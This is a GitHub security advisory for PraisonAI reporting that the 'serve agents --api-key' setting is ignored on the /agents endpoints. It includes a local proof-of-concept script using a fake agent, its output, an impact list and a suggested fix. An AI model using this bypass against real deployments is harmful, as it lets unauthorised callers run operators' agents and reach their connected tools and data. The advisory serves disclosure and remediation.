GHSA-7WW9-85PG-CV4X
Vulnerability from github – Published: 2026-08-25 14:42 – Updated: 2026-08-25 14:42Summary
PraisonAI's praisonai serve agents command exposes --api-key as the documented
authentication control for production/external deployments, but the configured key is not
enforced on the public agent invocation compatibility endpoints.
An operator can start the server with --api-key and bind it to 0.0.0.0, but any network-
reachable caller can still invoke agents through POST /agents or POST /agents/
{agent_name} without Authorization, X-API-Key, a query token, or any other credential.
Confirmed vulnerable:
- v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d
- v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133
Likely affected range: >= 4.6.34, <= 4.6.48.
This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask
api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents
--api-key code path and is confirmed in v4.6.48.
### Details
The CLI accepts and forwards an API key:
src/praisonai/praisonai/cli/commands/serve.py:156definespraisonai serve agentssrc/praisonai/praisonai/cli/commands/serve.py:162exposes--api-keysrc/praisonai/praisonai/cli/commands/serve.py:175-176forwards the supplied keysrc/praisonai/praisonai/cli/features/serve.py:191handles theagentssubcommandsrc/praisonai/praisonai/cli/features/serve.py:199parsesapi_keyinto the config
However, _create_agents_app() never uses config["api_key"] to create middleware or a
FastAPI auth dependency:
src/praisonai/praisonai/cli/features/serve.py:228creates the FastAPI appsrc/praisonai/praisonai/cli/features/serve.py:287registersPOST {path}with no auth dependencysrc/praisonai/praisonai/cli/features/serve.py:346registersPOST /agents/{agent_name}with no auth dependencysrc/praisonai/praisonai/cli/features/serve.py:356-370executes the registered agent directly
The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/
invoke route is protected separately by CALL_SERVER_TOKEN. That means the protected /
api/v1 route and the unauthenticated /agents compatibility routes coexist in the same
server. Setting --api-key does not protect the compatibility routes.
### PoC
This local-only PoC does not open a network listener and does not call an LLM provider. It
constructs the FastAPI app through the real ServeHandler._create_agents_app() path with
api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI
TestClient.
```python #!/usr/bin/env python3 from future import annotations
import sys import tempfile from pathlib import Path
REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ]
class FakeAgent: def init(self): self.calls = []
def start(self, query):
self.calls.append(query)
return f"fake-agent-ran:{query}"
def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agent_invoke
with tempfile.TemporaryDirectory() as tmp:
agents_yaml = Path(tmp) / "agents.yaml"
agents_yaml.write_text(
"roles:\n"
" placeholder:\n"
" role: Placeholder\n"
" goal: Placeholder\n"
" backstory: Placeholder\n",
encoding="utf-8",
)
handler = ServeHandler()
app = handler._create_agents_app(
{
"file": str(agents_yaml),
"host": "0.0.0.0",
"port": 8000,
"path": "/agents",
"reload": False,
"api_key": "operator-secret-api-key",
}
)
fake_agent = FakeAgent()
agent_invoke.register_agent("poc", fake_agent)
client = TestClient(app)
response = client.post(
"/agents/poc",
json={"query": "unauthenticated request"},
)
print(f"STATUS_CODE={response.status_code}")
print(f"RESPONSE_JSON={response.json()!r}")
print(f"AGENT_CALLS={fake_agent.calls!r}")
print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
request']}")
if name == "main": main()
Run:
cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py
Observed output:
STATUS_CODE=200 RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'} AGENT_CALLS=['unauthenticated request'] UNAUTHENTICATED_AGENT_EXECUTED=True
The important condition is that the app was configured with:
"api_key": "operator-secret-api-key"
but the request was sent without any auth header:
client.post("/agents/poc", json={"query": "unauthenticated request"})
The agent still executed and returned HTTP 200.
### Impact
Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key.
Impact depends on the configured agents and their tools, but can include:
- unauthorized LLM/API usage and provider cost consumption;
- execution of agent workflows;
- access to connected tool integrations;
- reads/writes through file, database, cloud, browser, MCP, or messaging tools;
- availability impact from repeated or long-running agent invocations.
This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly.
### Suggested fix
Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app.
Recommended changes:
- In _create_agents_app(), derive an auth dependency from config.get("api_key").
- Apply it to both POST {path} and POST /agents/{agent_name}.
-
Prefer Authorization: Bearer . Optionally also support X-API-Key for compatibility.
-
Use constant-time comparison for the expected key.
- Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.
- Add tests proving:
- key configured + no header returns 401/403;
- key configured + wrong header returns 401/403;
- key configured + correct header executes;
- both /agents and /agents/{agent_name} are covered.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.34"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55534"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:42:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n PraisonAI\u0027s `praisonai serve agents` command exposes `--api-key` as the documented\n authentication control for production/external deployments, but the configured key is not\n enforced on the public agent invocation compatibility endpoints.\n\n An operator can start the server with `--api-key` and bind it to `0.0.0.0`, but any network-\n reachable caller can still invoke agents through `POST /agents` or `POST /agents/\n {agent_name}` without `Authorization`, `X-API-Key`, a query token, or any other credential.\n\n Confirmed vulnerable:\n - v4.6.48 / commit `d5f1114aaf1a2e9f121a6e66b929149ca2201f1d`\n - v4.6.34 / commit `e5928449f73f66cc8af1de61621aa974ab255133`\n\n Likely affected range: `\u003e= 4.6.34, \u003c= 4.6.48`.\n\n This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask\n `api_server.py` path before 4.6.34. This report concerns the newer FastAPI `serve agents\n --api-key` code path and is confirmed in v4.6.48.\n\n ### Details\n\n The CLI accepts and forwards an API key:\n\n - `src/praisonai/praisonai/cli/commands/serve.py:156` defines `praisonai serve agents`\n - `src/praisonai/praisonai/cli/commands/serve.py:162` exposes `--api-key`\n - `src/praisonai/praisonai/cli/commands/serve.py:175-176` forwards the supplied key\n - `src/praisonai/praisonai/cli/features/serve.py:191` handles the `agents` subcommand\n - `src/praisonai/praisonai/cli/features/serve.py:199` parses `api_key` into the config\n\n However, `_create_agents_app()` never uses `config[\"api_key\"]` to create middleware or a\n FastAPI auth dependency:\n\n - `src/praisonai/praisonai/cli/features/serve.py:228` creates the FastAPI app\n - `src/praisonai/praisonai/cli/features/serve.py:287` registers `POST {path}` with no auth\n dependency\n - `src/praisonai/praisonai/cli/features/serve.py:346` registers `POST /agents/{agent_name}`\n with no auth dependency\n - `src/praisonai/praisonai/cli/features/serve.py:356-370` executes the registered agent\n directly\n\n The same app also mounts `praisonai.api.agent_invoke`, whose `/api/v1/agents/{agent_id}/\n invoke` route is protected separately by `CALL_SERVER_TOKEN`. That means the protected `/\n api/v1` route and the unauthenticated `/agents` compatibility routes coexist in the same\n server. Setting `--api-key` does not protect the compatibility routes.\n\n ### PoC\n\n This local-only PoC does not open a network listener and does not call an LLM provider. It\n constructs the FastAPI app through the real `ServeHandler._create_agents_app()` path with\n `api_key` set, registers a fake agent, and sends an unauthenticated request using FastAPI\n `TestClient`.\n\n ```python\n #!/usr/bin/env python3\n from __future__ import annotations\n\n import sys\n import tempfile\n from pathlib import Path\n\n REPO = Path(\"/path/to/PraisonAI\")\n sys.path[:0] = [\n str(REPO / \"src\" / \"praisonai\"),\n str(REPO / \"src\" / \"praisonai-agents\"),\n ]\n\n class FakeAgent:\n def __init__(self):\n self.calls = []\n\n def start(self, query):\n self.calls.append(query)\n return f\"fake-agent-ran:{query}\"\n\n def main() -\u003e None:\n from fastapi.testclient import TestClient\n from praisonai.cli.features.serve import ServeHandler\n from praisonai.api import agent_invoke\n\n with tempfile.TemporaryDirectory() as tmp:\n agents_yaml = Path(tmp) / \"agents.yaml\"\n agents_yaml.write_text(\n \"roles:\\n\"\n \" placeholder:\\n\"\n \" role: Placeholder\\n\"\n \" goal: Placeholder\\n\"\n \" backstory: Placeholder\\n\",\n encoding=\"utf-8\",\n )\n\n handler = ServeHandler()\n app = handler._create_agents_app(\n {\n \"file\": str(agents_yaml),\n \"host\": \"0.0.0.0\",\n \"port\": 8000,\n \"path\": \"/agents\",\n \"reload\": False,\n \"api_key\": \"operator-secret-api-key\",\n }\n )\n\n fake_agent = FakeAgent()\n agent_invoke.register_agent(\"poc\", fake_agent)\n\n client = TestClient(app)\n response = client.post(\n \"/agents/poc\",\n json={\"query\": \"unauthenticated request\"},\n )\n\n print(f\"STATUS_CODE={response.status_code}\")\n print(f\"RESPONSE_JSON={response.json()!r}\")\n print(f\"AGENT_CALLS={fake_agent.calls!r}\")\n print(f\"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == [\u0027unauthenticated\n request\u0027]}\")\n\n if __name__ == \"__main__\":\n main()\n\n Run:\n\n cd /path/to/PraisonAI\n python3 praisonai-serve-agents-api-key-bypass.py\n\n Observed output:\n\n STATUS_CODE=200\n RESPONSE_JSON={\u0027response\u0027: \u0027fake-agent-ran:unauthenticated request\u0027}\n AGENT_CALLS=[\u0027unauthenticated request\u0027]\n UNAUTHENTICATED_AGENT_EXECUTED=True\n\n The important condition is that the app was configured with:\n\n \"api_key\": \"operator-secret-api-key\"\n\n but the request was sent without any auth header:\n\n client.post(\"/agents/poc\", json={\"query\": \"unauthenticated request\"})\n\n The agent still executed and returned HTTP 200.\n\n ### Impact\n\n Any attacker who can reach a praisonai serve agents server can invoke configured agents even\n when the operator explicitly configured --api-key.\n\n Impact depends on the configured agents and their tools, but can include:\n\n - unauthorized LLM/API usage and provider cost consumption;\n - execution of agent workflows;\n - access to connected tool integrations;\n - reads/writes through file, database, cloud, browser, MCP, or messaging tools;\n - availability impact from repeated or long-running agent invocations.\n\n This is especially risky because the documented production pattern recommends using --api-\n key when binding the server publicly.\n\n ### Suggested fix\n\n Fail closed when --api-key is configured and require it on every agent invocation route in\n the serve agents app.\n\n Recommended changes:\n\n - In _create_agents_app(), derive an auth dependency from config.get(\"api_key\").\n - Apply it to both POST {path} and POST /agents/{agent_name}.\n - Prefer Authorization: Bearer \u003capi_key\u003e. Optionally also support X-API-Key for\n compatibility.\n\n - Use constant-time comparison for the expected key.\n - Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.\n - Add tests proving:\n - key configured + no header returns 401/403;\n - key configured + wrong header returns 401/403;\n - key configured + correct header executes;\n - both /agents and /agents/{agent_name} are covered.",
"id": "GHSA-7ww9-85pg-cv4x",
"modified": "2026-08-25T14:42:25Z",
"published": "2026-08-25T14:42:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7ww9-85pg-cv4x"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.